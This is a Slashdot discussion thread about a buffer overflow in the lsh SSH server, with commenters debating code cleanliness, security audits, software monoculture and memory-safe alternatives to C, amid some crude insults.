      It will also have all the speed of a glacier advancing upon the Alps. Yes, in a dozen years maybe Java will be fast enough. It's certainly not there yet. The Freenet Project use Java, and their client is so slow as to be unusable. It could have been just as easily made cross-platform in a real language. Heck, last I checked I believe Squeak has a faster VM than Java.

      Yes, we don't write in assembler because 'puters are fast enough to write in C now. We shouldn't write in Java because they're not fast enough for that yet--esp. for numeric calculations such as encryption uses. Actually, we shouldn't write in Java because it sucks as a language. Now, the Lisp-family of languages are excellent, and buffer overflows do not AFAIK occur in them. Perhaps a Common Lisp or Scheme implementation would be good.

    76. Re:Telnet by Bob+Uhl · · Score: 1
      Those who are willing to trade liberty for security deserve and will have neither.

      DJB's software is not open source and is not free. Also, it uses a perverted installation system. Additionally, there have been exploits reported, just not many. Use postfix instead: truly free (it appears GPL-compatible), backed by IBM, secure, and pleasant to use.

  14. I have to laugh by kakos · · Score: 3, Interesting

    All the people that were saying that the lsh code just 'looked' better than the OpenSSH code, a word of advice: looks don't mean jack or shit.

    I don't know much about the development process of lsh, but I'm betting it doesn't do any security audits like OpenSSH does.

    1. Re:I have to laugh by Anonymous Coward · · Score: 0

      Yeah, and we've seen just how useful those audits of OpenSSH have been.

      If it's this bad now, I'm afraid to think of what it'd look like without these "audits".

    2. Re:I have to laugh by cduffy · · Score: 4, Insightful

      looks don't mean jack or shit.

      In code, looks mean quite a lot.

      Cleaner, more readable code is easier to audit.
      Cleaner, more readable code is easier to bugfix.
      Cleaner, more readable code is easier to add features to.
      Cleaner, more readable code is simply Good Stuff.

    3. Re:I have to laugh by zulux · · Score: 4, Funny

      Cleaner, more readable code is easier to audit.
      Cleaner, more readable code is easier to bugfix.
      Cleaner, more readable code is easier to add features to.
      Cleaner, more readable code is simply Good Stuff.


      I think you need to do a bit of re-factoring there. ;)

      --

      Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.

    4. Re:I have to laugh by Anonymous Coward · · Score: 0

      ... and yet, lsh has:

      - been around longer than openssh
      - fewer features than openssh
      - and now has a much bigger vulnerability than openssh

      Perhaps those saying the code "looked cleaner" were simply "full of it"?

      Certainly "clean code" is useful, but it's certainly not the be-all-and-end-all.

    5. Re:I have to laugh by cduffy · · Score: 1
      Oooh, good call. Fortunately, I've got just the tool for reducing this to its least redundant representation.

      S -> 1 a u d i t 2 b u g f i x 2 3 d _ f 4 5 6 7 8 9 10 11 m p l y _ G o 12 _ S 5 f f .
      1 -> 10 4 11 13 _ 8 _
      2 -> 9 1
      3 -> a d
      4 -> e a
      5 -> t u
      6 -> r e
      7 -> s _
      8 -> t o
      9 -> . \n
      10 -> C 14 a n 13 , _ m o 6 _ 6 3 a b 14 _ c 12 e _ i 7
      11 -> s i
      12 -> o d
      13 -> e r
      14 -> l e


      Consider that an object lesson in why denormalization is sometimes a Good Thing. :)
    6. Re:I have to laugh by SmallFurryCreature · · Score: 1
      Hi Mister BSD user. Of course LSH team found their bug purely by random, while the openssh through dilegent code review spotted their bugs right behind each other. (forcing all users to go through two upgrade cycles in quick succession, just bad luck I guess but still annoying)

      You see BSD is good and pure, sure nobody is talking about it but then nobody ever talks about good security. Good security goes unnoticed and unapreciated.

      Gnu team can not hope to compete, bunch of beared hippies. Why if only they had the skills of bsd developers. Then they would have discovered this bufferoverflow themselves. Told the world about it and how to patch it, risking of course nasty people figuring out how to exploit unpatched machines in the process.

      Any person badmouthing openssh or lsh based on events in the past couple of days is a zealot and a moron. Exactly the same thing has happened to both projects, hell they even handled it in the same way.

      Oh and one other thing they have in common. I notice that it is not exactly obvious to find WHERE the BUG info is on both sites. And please don't give me on the mailing list crap, how many mailing lists am I supposed to be on anyway? What is wrong with a bit of text on the frontpage. You must use at least version XXXXXX to safely use this product.

      The story, project X, found bug in code Y and posted patch Z. Evil crackers on examing patch developed exploit ehm, A. Zealots users unrelated in anyform to either project X or project B laugh at X and say B is so much better for reason C, C being something totally unrelated, untrue. In more extreme cases they will even admit they don't know anything about C. In even more extreme cases admit they are just guessing. They really then on D, even more braindead moderators to nonetheless mark completly unsupported guesses as insightfull.

      Story end.

      --

      MMO Quests are like orgasms:

      You may solo them, I prefer them in a group.

    7. Re:I have to laugh by spike2131 · · Score: 1

      !# /bin/python
      for ending in {"easier to audit.","easier to bugfix.","easier to add features to.","simply Good Stuff."}:
      print "Cleaner, more readable code is " + ending

      --
      SpyDock: Scientific Python in a Docker container
    8. Re:I have to laugh by __past__ · · Score: 1
      Of course LSH team found their bug purely by random
      Sort of, actually. The first thing that led to the discovery of this bug was someone being annoyed because of switching to lsh being cited as a solution for the OpenSSH bugs without much thought, and tried to pipe lots of random noise to it, only to see it crash (while OpenSSH simply reported protocol violations). So yes, in a way they found it by random, /dev/random in particular.
    9. Re:I have to laugh by localman · · Score: 1

      Cleaner, more readable code is probably loaded with bugs or lacking in features because it hasn't been around long enough to have all the disgusting hacks and patches applied to it that are required for extended use in the real world.

      At least in my experience, anyways.

      Cheers!

    10. Re:I have to laugh by cduffy · · Score: 1

      Cleaner, more readable code is probably loaded with bugs or lacking in features because it hasn't been around long enough to have all the disgusting hacks and patches applied to it that are required for extended use in the real world.

      What this means is that you haven't spent time in the real world on a programming team with an architect who believes in constant, aggressive refactoring -- and is willing to bully the suits (and the coders, and everyone else) as much as necessary to be sure it gets done.

      I'm on such a team. There're ugly hacks in our code, sure -- but they don't last more than a month or so before getting refactored out.

    11. Re:I have to laugh by Triumph+The+Insult+C · · Score: 1

      hear hear.

      this is why if you look at the openbsd cvs commit messages, you'll see a number of "KNF" ... style(9) explains it.

      --
      vodka, straight up, thank you!
    12. Re:I have to laugh by prockcore · · Score: 1

      Cleaner, more readable code is easier to audit.
      Cleaner, more readable code is easier to bugfix.
      Cleaner, more readable code is easier to add features to.
      Cleaner, more readable code is simply Good Stuff.


      If your code is anything like your comments, it's neither cleaner nor more readable.

      Cleaner, more readable code is easier to audit, bugfix, and add features to. It is simply Good Stuff.

    13. Re:I have to laugh by cduffy · · Score: 1

      Tsk, tsk. Repetition as a means of driving a point home is an established and well-respected tool of debate. The one-line summary doesn't carry the *weight* of the expanded version -- which is precicely the effect I was going for.

    14. Re:I have to laugh by Anonymous Coward · · Score: 0

      Tsk, tsk. You're a cock-sucking fucktard. High school debate team is over, little buddy. Just admit you look like an asshole and move on.

    15. Re:I have to laugh by JoeBuck · · Score: 1

      But the OpenSSH security bug should have been discovered by a code audit. The bug is entirely localized to a small section of code, so a careful reading should have found it. Of course no one's perfect, but the OpenBSD folks might want to look at their procedures and figure out how this bug was missed before. I'm not saying this to take a shot at them, but so that their auditing procedures can be improved.

  15. Still diversity is good. by Coryoth · · Score: 4, Insightful

    Okay, there's a hole here, that's definitely bad. Still it would be nice if lsh could manage to gain some share of the ssh market. It has worried me for a while that OpenSSH has become the standard, which, unfortunately, creates a monoculture. A monoculture of ssh implementations is as vulnerable to massive infection as a monculture of windows boxes (okay, maybe windows has more holes, but its the massive part I'm concerned with).

    If the market on ssh implementations was a little more split, it would be a little more difficult to write a worm that could wreak utter havoc. Repeat after me: Monoculture is bad.

    Jedidiah.

    1. Re:Still diversity is good. by HermesHuang · · Score: 3, Insightful

      Still, I'm not about to choose one implementation over another simply to add diversity. I'm going to pick the one I think is the best. Perhaps the reasons I use are wrong, and I probably don't know all the facts. But I tend to trust OpenSSH more then the other implementations. So I'm going to use OpenSSH. Period. I choose what I do because I don't want to deal with a worm at all. Not because I want to set things up so that when I do get a worm, it's only me and half of the sshd servers out there, rather then all of them. I acknowledge that diversity is good, but it's never going factor into my decisions regarding my security software.

    2. Re:Still diversity is good. by Anonymous Coward · · Score: 1, Insightful

      Funny thing is, Coryoth is probably using an x86 machine. If he truly practiced the diversity he preaches, he'd be using a different hardware architecture to avoid all the x86 specific buffer overflows and shellcode.

      At any rate, diversifying software is a tradeoff. It may blunt the damage caused by worms, although millions of users divided by a handful of implementations is still a lot of machines. And the downside is that it also "diversifies" the code review. If you have 40 different projects instead of a single well-tested one, there's a much higher chance of bugs going undetected. So a traditional single target worm may not spread easily, but you have more vulnerable machines out there that could be hacked and used in DDOS attacks, etc.

    3. Re:Still diversity is good. by Anonymous Coward · · Score: 0

      Not to mention that the "diversity" argument only works in the extreme case.

      Take Microsoft Outlook. It's only got 30% or so of the mail client market, but it still gets raped by viruses (often using 2 year old exploits). The key point is that's 30% of 95% -- and that's a huge still a huge slice of the pie, even given the massive amount of diversity in Win32 mail clients.

      Really, the core of this bogo-biological "diversity" argument is typical geek loserdom. "Boo hoo. Woe is me. I'll never get laid and I use software rejected by 99.99% of the market place. At least I won't get Herpes^WViruses."

    4. Re:Still diversity is good. by Goo.cc · · Score: 1

      "It has worried me for a while that OpenSSH has become the standard, which, unfortunately, creates a monoculture."

      I know what you mean. I feel the same way about the overpromotion of Linux over the BSDs.

    5. Re:Still diversity is good. by Anonymous Coward · · Score: 0

      What SSH implementation do you use?

    6. Re:Still diversity is good. by Webmonger · · Score: 1

      The argument is that using lsh makes you a minority group that's not worth targetting for worm writers. So it certainly could increase your security.

  16. After 20+ years of buffer overflow exploits... by kcbrown · · Score: 4, Insightful
    ...you'd think that developers would finally know how to write software that doesn't have such vulnerabilities.

    But unfortunately we don't seem to have made that much progress, despite the reasonably large number of development tools we have that address such issues (including anything from memory debuggers to string libraries). I mean, really ... people are still writing these things in C ... in the 21st century! I'm a big fan of picking the right tool for the job, but I think it should be clear by now that C isn't the right tool for writing secure software. There are simply too many ways to screw up.

    I think it's time we started writing system software (that is, software which provides services but which runs as a process under the OS) in a language which doesn't have these problems. And if a suitable language is unavailable, that argues strongly for creating that language.

    You might still have to worry about buffer overflow exploits against the kernel, but that's a much more manageable problem.

    --
    Use 'slashdot stuff' in the subject line in any email you send me if you want to get past the spam filter.
    1. Re:After 20+ years of buffer overflow exploits... by Garen · · Score: 3, Insightful

      Took the words right out of my mouth. For large scale software that's this critical, we really need more safety guarantees to achieve adequate confidence that it's secure. That rules out C.

    2. Re:After 20+ years of buffer overflow exploits... by burns210 · · Score: 1

      yes, move all system software(gnu tools, bash scripts) to ada! if it is good enough to run a strike fight it is good enoug to run my computer

    3. Re:After 20+ years of buffer overflow exploits... by coene · · Score: 1

      OpenBSD is getting VERY close. It's taken a lot of design thought, a lot of eyes, a lot of manpower, and a lot of time, but OpenBSD is getting very close.

      I'll agree that C lends itself to these things, but its the standard for a number of reasons, and frankly, anything else will introduce the same types of problems.

      Building on what we have makes the most sense, and given a bit more time, I'm confident that OpenBSD will be there.

    4. Re:After 20+ years of buffer overflow exploits... by 2Bits · · Score: 4, Interesting

      That was something on my mind, when the problem was announced for openssh.

      One thing we could do would be to "deprecate" funtions/modules that are known to be insecure, a la Java, and phase in the more secure ones. Like those old string manipulation funtions, if we can't make them secure and have already introduced something better, why not phasing them out?

      And make the compiler flag it when it finds any deprecated functions.

      Introduce this phase-in period over 2 to 3 years, that should be enough time for everyone to update their software, if that software is still maintained. And it's not maintained anymore, you prolly should be looking for something new anyways, unless your machine is not connected to the network, and you do not (absolutely not) introduce any new component to the system, or unless if you don't give a damn that the machine is owned.

      If we are conservative, maybe introduce the phase in/out period longer, like 5 years or so.

      I don't really give a darn about maintaining backward compatibility at all cost. Backward compatibility is good, but not at all cost. Software is an evolving thing. I code for a living, it sure is a pain, but sometimes, I just feel it's necessary to cut the bond and move to the next level.

    5. Re:After 20+ years of buffer overflow exploits... by Jeffrey+Baker · · Score: 1
      I already have a compiler that can flag deprecated functions. This magical compiler is known as "gcc", and it has even been included on some Linux systems, recently.

      #warning Ignorance is embarrassing
    6. Re:After 20+ years of buffer overflow exploits... by Anonymous Coward · · Score: 0

      You mean it only took 22 years to remove almost all the buffer overflows from BSD UNIX? What kind of argument is that?

      One could have easily reimplemented the whole thing in a 'safe' language in that time.

    7. Re:After 20+ years of buffer overflow exploits... by 2Bits · · Score: 1

      Yeah, but after the phase-out period, you really have to remove the deprecated functions, not just leaving them there forever. That would force everyone who maintains softwares to upgrade.

      And this deprecation mechanism must be emphasized. If the functions are known to be insecure and not fixable, this has to be emphasized. Like in Java, when the class or method is deprecated, it's really explained why (e.g. not secure, not thread safe, etc), and points to the replacement.

      The C/C++ community does not seem to emphasize this very much.

    8. Re:After 20+ years of buffer overflow exploits... by kcbrown · · Score: 3, Insightful
      I'll agree that C lends itself to these things, but its the standard for a number of reasons, and frankly, anything else will introduce the same types of problems.

      There will always be security vulnerabilities in software, of course. But buffer overflows are a class of vulnerabilities that simply shouldn't exist. C is unsuitable for system software because there are far too many ways (both subtle and gross) to wind up with buffer overflow bugs. It's what happens when the language is designed to make direct memory access easy.

      You have to remember that C wasn't created to make writing system software easy, it was created to make writing operating systems easy. For that you have to be able to manipulate memory directly, and C is very well suited to that mission.

      System software has different needs. It needs to be able to send and receive data, to manipulate strings, and to store and retrieve information from files, and do so securely. You may still need to manipulate buffers but that's a far cry from needing to manipulate memory directly. System software is very different from operating systems, and calls for a different language.

      --
      Use 'slashdot stuff' in the subject line in any email you send me if you want to get past the spam filter.
    9. Re:After 20+ years of buffer overflow exploits... by Chester+K · · Score: 4, Funny

      I think it's time we started writing system software (that is, software which provides services but which runs as a process under the OS) in a language which doesn't have these problems. And if a suitable language is unavailable, that argues strongly for creating that language.

      Careful there tiger, you're starting to sound exactly like Microsoft --- that's what they're in the middle of doing with C#; and we certainly don't want to imply that the OSS community needs to play catch-up with Microsoft when it comes to security practices.

      --

      NO CARRIER
    10. Re:After 20+ years of buffer overflow exploits... by Anonymous Coward · · Score: 0

      So what's the gcc option called?

    11. Re:After 20+ years of buffer overflow exploits... by Anonymous Coward · · Score: 0

      > I code for a living, it sure is a pain, but sometimes, I just feel it's necessary to cut the bond and move to the next level.

      the opinion of an engineer on that subject is useless.

      "I know engineers--they love to change things..."
      -- Leonard McCoy, Lt-Cdr UFP, retired

      You are an engineer. Don't use that as an excuse. You've /never/ wanted backward compatibility.

      Ask /users/ instead.

    12. Re:After 20+ years of buffer overflow exploits... by MisterFancypants · · Score: 1
      Careful there tiger, you're starting to sound exactly like Microsoft --- that's what they're in the middle of doing with C#; and we certainly don't want to imply that the OSS community needs to play catch-up with Microsoft when it comes to security practices.

      As far as buffer overflows go, Microsoft is attacking this not just in C#, where it is a part of the language design (as it is in Java), but in C++ as well. Newer versions of Visual C++ have native support for buffer overrun checking as part of the compiler. Just go to the project's property page/C++ options/Code Generation and select "Buffer Security Check" to yes... And the runtime hit isn't there, but is very very minor, not enough that the standard internet service or such would ever notice it.

    13. Re:After 20+ years of buffer overflow exploits... by fw3 · · Score: 3, Informative
      There are several available solutions to this

      Libsafe, one of the oldest use LD_PRELOAD to replace the dozen-odd most often problematic library functions with safe/checked versions. It's been available for several years. Requires no code modifications (beyond setting the LD_PRELOAD env).

      Propolice, stackguard, patches to Gcc / kernel provide various stack protections. Propolice has been built into OBSD for about a year now. These require object recompilation. PaX provides various randomizations thru the kernel. All fo these significantly complicate the attakers task.

      --
      Linux is Linux, if One need clarify their dist: <Dist>/GNU Linux
      bsds are of course just BSD
    14. Re:After 20+ years of buffer overflow exploits... by Anonymous Coward · · Score: 0

      And we are still waiting for ssh in Ada.

    15. Re:After 20+ years of buffer overflow exploits... by vt0asta · · Score: 4, Insightful
      First things, first. C was meant to be a highly portable version of assembly. C successfully facilatated porting operating systems AND applications that used those operating systems.

      People often think of C the wrong way, and that is often because languages considered "safe" borrow heavily from C syntax. If you have ever programmed in assembly/machine language, you know the programming bugs can do quite nasty and unexplained things (sometimes much worse than a buffer overflow). However, having coded in assembly one often becomes more rigorous with their coding, that same rigor is what is needed to carry over to C, and is what is lacking with some of the C coders of today.

      Second, system software also often needs a low memory footprint. System developers often want to know where every little bit of memory went, and often find compiled code barely tolerable. Not everyone can afford the luxury of loading a perl, python, java, byte code interpretor du jour just to send and read data, manipulate strings, and do stuff with files.
      System software is very different from operating systems, and calls for a different language.
      Maybe you're right, problem is, many have tried almost all have failed to gain popularity for systems coding. Big problem for your argument and for developers who know, almost all of those different languages were first written in...drum roll...."C".
      --
      No.
    16. Re:After 20+ years of buffer overflow exploits... by Nucleon500 · · Score: 1

      I think there are plenty of suitable languages. What about Ruby, Python, Perl, C++, Parrot, Java, or Bash?

    17. Re:After 20+ years of buffer overflow exploits... by Minna+Kirai · · Score: 1

      New fighter-jet software is written in C++.

    18. Re:After 20+ years of buffer overflow exploits... by Anonymous Coward · · Score: 0

      we certainly don't want to imply that the OSS community needs to play catch-up with Microsoft when it comes to security practices

      Why not? The OSS community plays catch-up with MS when it comes to market share, impactful marketing, a unified GUI for developers, revenue for third party software companies, salaries for developers, etc. etc.

    19. Re:After 20+ years of buffer overflow exploits... by batkins · · Score: 1
      I'm probably not going to get a lot of agreement here, but Perl is an excellent candidate for what the OP was talking about.

      Like Java, Perl is invulnerable to buffer overflows. It's also open-source, which means that any security problems in the core are easily detectable.

      Perl encourages code reuse with the Comprehensive Perl Archive Network (search.cpan.org). Code is submitted to CPAN and gradually improved over time. This means that you can use well-tested components in your application without starting from scratch.


      The only place Perl falls short for server usage is its memory management. Perl programs tend to have hefty footprints. From what I understand, though, Parrot and Perl 6 should help clear this up.

    20. Re:After 20+ years of buffer overflow exploits... by Anonymous Coward · · Score: 0

      You probably misunderstand how computers languagues work. Java is a higher lang made in a medium lang called C. All those langs (perl, phython, java, C) will be translated to code machine. Using java/perl whatever dont mean that buffer overflows/.. cant happen. I prefer to code C, cause I trust more in me than into someone from Sun who implemented the buffer classes.

  17. Re:Have to be happy... by Anonymous Coward · · Score: 0

    Your use of the word "asshat" verifies your irrelevance.

    Die.

  18. Another forum for bashing Microsoft by KingRob · · Score: 0, Troll

    Another week, another bug, another thread bashing Microsoft for software weaknesses.
    When will Slashdot moderators *get it* ?

    All software has bugs! Due to popularity, some software bugs are more actively sought that others.

    1. Re:Another forum for bashing Microsoft by UserGoogol · · Score: 5, Funny
      And this, my friends, is why software should never be popular. Use OpenBSD!

      Warning. The preceeding has been detected by Slashdot to contain sarcasm. OpenBSD is, of course, wonderful. Unlike those commies using FreeBSD.
      --The Management

      --
      "Never attribute to malice that which can be adequately explained by stupidity." -- Hanlon's Razor
    2. Re:Another forum for bashing Microsoft by 1s44c · · Score: 1

      Another week, another bug, another thread bashing Microsoft for software weaknesses.

      No, we are discussing a explotable bug in lsh, Microsoft didn't write lsh.

      All software has bugs! Due to popularity, some software bugs are more actively sought that others.

      Just the kind of thing a microsoft paid troll would say, It's one of those stock statements that people use as an excuse for doing a really bad job.

      I should start a public list of you guys.

    3. Re:Another forum for bashing Microsoft by iggymanz · · Score: 1

      People LIKE ME pay alot of money for microsoft software. And for my hard earned money, and my company's money, I get insecure crap that is flawed by stupid design (like for instance, executing attachements AS A FEATURE).

      All my open source software cost me $0, and has never once let an intruder in or brought my system to its knees.

      We have a right to bash. I've wasted weeks of my life because of Microsoft's poor quality control and lack of source code control.

    4. Re:Another forum for bashing Microsoft by Anonymous Coward · · Score: 0

      Whats going on in this thread? This wasnt a Microsoft bug. Was an overflow in some open source software called ish I think.

    5. Re:Another forum for bashing Microsoft by Captain+McCrank · · Score: 1
      Lack of source code control???!?

      When was the last time you saw the XP source?

      As far as the "stupid" design of whatever it is you didn't specify is concerned, which OS could your mother run? Design is a complex topic, and you appear to be completely unprepared to tackle the subject. Given a choice between Visual studio, and any other IDE, which would you choose? Design and security are not equal, kiddo.

    6. Re:Another forum for bashing Microsoft by Anonymous Coward · · Score: 0

      But VB is so gay, like your mom.

    7. Re:Another forum for bashing Microsoft by whig · · Score: 1

      "OpenBSD is, of course, wonderful. Unlike those commies using FreeBSD."

      ObMontyPython:

      Splitters!

      --
      Peace and love, y'all
    8. Re:Another forum for bashing Microsoft by gl4ss · · Score: 1

      even your mother could run, say, knoppix, and if not that she could certainly run at least beos(which to use and even configure is a lot simpler than windows by design). windows is not 'very easy to use for anyone' from the day one, most people alive that have to use it as desktop just have been using a system like it for the better part of the last 10 years.

      the windows as an os IS an insecure system by _design_, even ms admits that(heck, they don't recommend rpc to be used in possibly hostile environments even, though they activate it by default). it could be a secure system by execution but by all means it wasn't _designed_ to be secure from the day 1.

      --
      world was created 5 seconds before this post as it is.
    9. Re:Another forum for bashing Microsoft by Anonymous Coward · · Score: 0

      And due to the use of improper languages for developping it (C/C++), some software's bugs have far worse consequences (give anyone root access) than others (simply crash the application)

    10. Re:Another forum for bashing Microsoft by antiMStroll · · Score: 1

      Did you accidentally post to the wrong thread? Most of the highly moderated posts bash OSS. Billy have you guys working weekends now?

    11. Re:Another forum for bashing Microsoft by iggymanz · · Score: 1

      I can't answer how I know about MS source code control problems. But it shows in their product problems

      Our mothers could run NeXTSTEP or Mac System 6,7 or OS/X just fine.

      Visual studio?????????? How would that help me write platform independent code on operating systems that I have been PAID to write for: Solaris, IRIX, Linux, AIX, HP/UX as well as Windows? I can assure you far superior development environments exist for any langauge in common use you care to name (C, C++, Objective C, Java), except perhaps Visual Basic (which is of no interest/use/monetary gain to me)

    12. Re:Another forum for bashing Microsoft by iggymanz · · Score: 1

      heh, I should have also added I've been paid to do Oracle PSQL and LISP and COBOL/Java integration in the last 10 years.......which Visual Studio product would I use to do that?

  19. Re:lsh is not secure by Anonymous Coward · · Score: 0

    Beware the goatse.cx link referenced above. (ya didn't get me, btw. I'm blind already, and my reader started up with the "the goatse.cx lawyer blah blah")

  20. A replacement for C? by guacamole · · Score: 3, Interesting

    Does there exist a good replacement for C? Obviously, things aren't getting any better even though most programmers are aware of and try to avoid various types of typical C problems like buffer overflows, "off by one" errors, "double free" errors, fmt string vulnerabilities, etc. This language should be reserved for low level programming tasks like OS and compiler development only. For other tasks we need an efficient, portable language with automatic memory management, easy string handling, and object oriented facilities. For efficiency reasons, I think that Java or scripting languages like Pythnon are not a good replacement for C. What other alternatives are out there?

    1. Re:A replacement for C? by scrod · · Score: 1

      Common LISP, of course.

    2. Re:A replacement for C? by Alinabi · · Score: 1

      Forget Java and Python. Try LISP.

      --
      "You can't allow somebody to commit the crime before you detain them." [Condoleezza Rice]
    3. Re:A replacement for C? by RevSmiley · · Score: 1

      Forth :)

      --
      As you can see I don't care about my karma.
    4. Re:A replacement for C? by cduffy · · Score: 4, Interesting

      A good replacement for C, eh? How 'bout C? Or, say, C?

      Honestly, though: For low-level programming, there *is* no good replacement for C, for a simple reason: the same power that makes it dangerous is also the power that makes it useful. For high-level programming, there are lots of good replacements -- and you just mentioned, and wrote off, two of the best of them.

      Java is getting better (witness the presence of the NIO API in 1.4), and I've got strong hopes for C# and its kin -- but part of what makes C# so useful is its simple API for access to C libraries, something that Java makes much harder. That said, for almost all of the high-level programming I do, I use Python (except at work, where I don't always get to pick; in the cases where I don't have the choice, I write Java).

      Sure, Python and Java aren't suitable for low-level work -- but that's what C is good for. And since calling from Python down to C is simple, writing optimized versions of performance-sensitive routines is easy, in the rare event that it actually needs to be done (which has, in my five or so years of writing Python, happened all of once, when I needed some efficient drawing routines which were most readily available from a C library without preexisting python bindings).

      Compiling Java to native code with GCJ also decreases the startup-time and runtime performance penalty without sacrificing type-safety -- and works for applications using an increasingly large subset of the available APIs.

      Scheme is another language that many folks are too quick to write off. Not only does the language have the expected type-safety goodness -- but compiled scheme can be *very* fast. (On the down side, the lack of a useful standard runtime library is very disappointing).

      So, yes, for high-level stuff, there are lots of alternatives... but what are you going to write your Python interpreter or low-level libraries in? For some jobs, there's still no good replacement for C. (Further, I'm not by any means convinced that low-level work *should* be done in an OO language... but that's a different conversation).

    5. Re:A replacement for C? by Captain+McCrank · · Score: 1
      C# Explicitly encapsulates the functionality of Pointers in Delegates. I believe it's possible to still acheive the same effect of pointers (and thus regain the risk of B.O.'s associated w/ them) but not without explicit calls.

      It's obviously not as fast as C in certain situations, but personally I like C# a lot and am focusing my future development efforts in this arena.

    6. Re:A replacement for C? by smithmc · · Score: 1

      Does there exist a good replacement for C?

      At the risk of having my head handed to me... C++? I'm kinda fond of it.

      --
      Downmodding is the refuge of the weak. Don't downmod, make a better argument!
    7. Re:A replacement for C? by Spy+Hunter · · Score: 1

      Dude. Cyclone looks totally awesome. C, but with modern saftey features? And with ML-style datatypes and pattern matching? If they would just add type inference and a very simple object system, this language might just be the most perfect language ever. Are there any downsides?

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    8. Re:A replacement for C? by Ada_Rules · · Score: 1

      Gee..What we need is a language that has been around for a long time. Is ISO standardized. Supports OO. Has the power to do low level programming when required. It would actually have to be fast and efficient . It would also be good if it had run time checks on things like buffer overflows but also made them less likely by the structure of the language itself (e.g. Doing pass and array and a separate array size but have the language know about the size of the array to start with). It would be good if this language already had a free implementation. It would have to work under Windows, Linux, most other Unixs and a lot of embedded targets. It would have to have the option of easily letting the user suppress the run-time checks if required but have them basically on by default. Hopefully we could do something in the language that would at least help reduce bugs. But we have to be realistic too. We probably won't be getting rid of Windows any time soon so this made up language would also need to be able to interface easily to things like COM/DCOM for windows. It should also support things like Gtk+ and GNOME out of the box. Hmm...Sounds Like Ada. Oh but wait..It does not use ugly C syntax so programmers will never use it...Not to mention that problem with the military being involved at the beginning (but lets just overlook that for the whole internet thing)...

      --
      --- Liberty in our Lifetime
    9. Re:A replacement for C? by smallpaul · · Score: 1

      Aren't Pascal and Ada mmune to buffer exploits? I'm not saying it is a great language but it shows that you don't have to make a huge leap in abstraction to get safety. I can imagine an alternate universe where from day 1, C had safe and unsafe string types and you would choose which to use based on whether you prioritized safety/security or performance. Why can't we transition to this alternate universe 30 years later?

    10. Re:A replacement for C? by not-my-real-name · · Score: 1

      Ada.

      It's big and clunky and a pain to use on a small project, but it is good for large projects where people can die if it doesn't work correctly. While I wouldn't use it for one of my personal quick-and-dirty projects, I have used it professionally and there are certain classes of errors that are common in C, but impossible in Ada.

      --
      un-ALTERED reproduction and dissimination of this IMPORTANT information is ENCOURAGED
    11. Re:A replacement for C? by cduffy · · Score: 1

      One of the useful things about C is that it can be viewed as an abstract version of assembly language -- it's somewhere between "easy" and "trivial" to look at just about any chunk of code and *know* how an unoptimized compiler would implement it. Correspondingly, C encourages a programmer to think in terms not of abstractions, but in terms of what precicely the machine itself is actually doing when running their code. If C had been written with some of the safety features of higher-level languages in mind, I suspect that some varieties of low-level coding -- writing drivers, for instance -- would be negatively impacted (whadaya mean I can't write to this arbitrary pointer value?)... and as long as you *can* write to an arbitrary memory location, your program can still do Bad Things if subverted.

      Higher-level languages -- and Ada is among them -- lose this what's-going-on-under-the-hood focus, and tend more towards *forcing* the user to work in terms of abstractions rather than dropping down into high-level-assembly mode when appropriate. I'll agree that thinking in abstractions is a Good Thing in a great many cases -- but writing low-level code just ain't one of them, and that's exactly what C is good for.

      Having your compiler be able to choose between "safe and unsafe string types", for instance, means that you've got a high-enough level language that the compiler actually understands what a string is. This (a "string") is an abstraction. C programs don't deal with abstractions on that level -- they deal with null-terminated arrays of 8-bit values, not with "strings". The compiler doesn't know that array-of-8-bit-values $FOO is a "string" and can have its underlying representation changed at will, but that array-of-8-bit-values $BAR happens to be in a memory location which corresponds to the internal memory of some PCI device on the system and must be represented *exactly* as the programmer indicates. Use an abstract language if you want a compiler that understands such things... C is not that language, and it's *intentionally* not that language, because having a sufficiently low-level language is Useful And Good. (Besides, having the compiler choose between multiple internal representations for the same code would be evil, because it means the same code would have different calling conventions based on compiler flags).

      It's been years (about 6 of them, I think) since I've written any Pascal, and my memory span is measured in months if not weeks... so I'm going to not touch that thing, except to mention that I'm quite sure every major Pascal compiler vendor had extensions to implement pointer arithmetic on account of the language being difficult to express some algorithms in without it.

      And by the way, if this is a whole big long collection of unfocused rambling, I'm *really* short on sleep right now, and am just about to go hit the sack rather than continuing to blather on about things while my brain's too tired to work.

  21. Re:lsh is not secure by Anonymous Coward · · Score: 0

    Parent is goatsex.

  22. Re:Have to be happy... by Anonymous Coward · · Score: 0

    Oh. Well then...

    Thanks for being clownshoes.

  23. Thank God! by Unominous+Coward · · Score: 4, Funny

    I am even more glad than ever that I use telnet!

    --
    "Smoking helps you lose weight - one lung at a time" -- A. E. Neumann
    1. Re:Thank God! by Ziviyr · · Score: 1

      Its not that funny, I was suspicious about SSH from day one.

      Two incidents later I'm not any less appeased.

      Can't telnet be tunneled over SSL?

      --

      Someone set us up the bomb, so shine we are!
  24. oh, right by SweetAndSourJesus · · Score: 2, Funny

    The five people on the planet using ish really slowed down those who sought to exploit the ssh vulnerability.

    --

    --
    the strongest word is still the word "free"
    1. Re:oh, right by Anonymous Coward · · Score: 0

      Once again, it's Lsh, fucktard.

      Shit, at least try and get the name of the application you're slagging off right.

    2. Re:oh, right by Anonymous Coward · · Score: 0

      Give him a break dude. He said he's been drinking since noon. So obviously that means that we all should put up with his drunken ramblings. No matter how inane.

    3. Re:oh, right by jonabbey · · Score: 4, Interesting

      The number of users of lsh today is immaterial to the question of justification for the lsh team's efforts, really. Ssh is critical stuff to have.. we have alternatives in mail transport servers, ftp servers and clients, web servers, programming languages.. why in the world not for free ssh implementations?

    4. Re:oh, right by jhunsake · · Score: 1

      I've never used ish either. Never even heard of ish! Is there anyone here that's used ish?

      (Before you complain... Go Fuck Yourself!)

    5. Re:oh, right by Anonymous Coward · · Score: 0

      Real typical of you GNU/Zealots to personally discredit a valid point just because he mispelled the package name and is drunk.

      Fact is, any OpenSSH exploit is immediately going into the script-kiddie arsenal. And, nobody uses lsh, so it's not even worth scanning for.

    6. Re:oh, right by Anonymous Coward · · Score: 0

      Yes I have it on all of my boxes. I have all of them accessible from the Internet on ports 500-507. I have not bothered to patch so I'm wide open. Go ahead and find me if you can.

  25. hubris is never safe by Build6 · · Score: 4, Insightful

